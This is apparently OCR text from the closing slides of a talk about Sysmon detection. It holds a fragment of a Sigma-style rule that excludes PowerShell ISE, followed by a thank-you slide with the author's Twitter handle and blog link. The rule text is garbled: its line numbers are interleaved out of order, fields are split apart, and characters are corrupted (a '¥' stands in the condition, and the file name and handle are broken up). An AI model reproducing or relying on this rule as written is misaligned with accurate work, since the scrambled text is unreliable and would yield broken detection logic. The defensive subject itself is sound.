18 author: Tom Ueltschi (@c_APT ure) 21 | | | | | - "*=\powershell ise.exe-
11 logsource: 22 | exclusion 2:
12 | product: windows
23 | | | Description: Windows PowerShell ISE
13 | service: sysmon
24 | condition: all of selection and not (1 of exclusion ¥)

14 detection:
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Thanks for your attention!!

Time left for questions?

Twitter: @c_APT ure
Blog:

— many resources about Sysmon linked in one place
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http://c-apt-ure.blogspot.com/2017/12/is-this-blog-still-alive.html

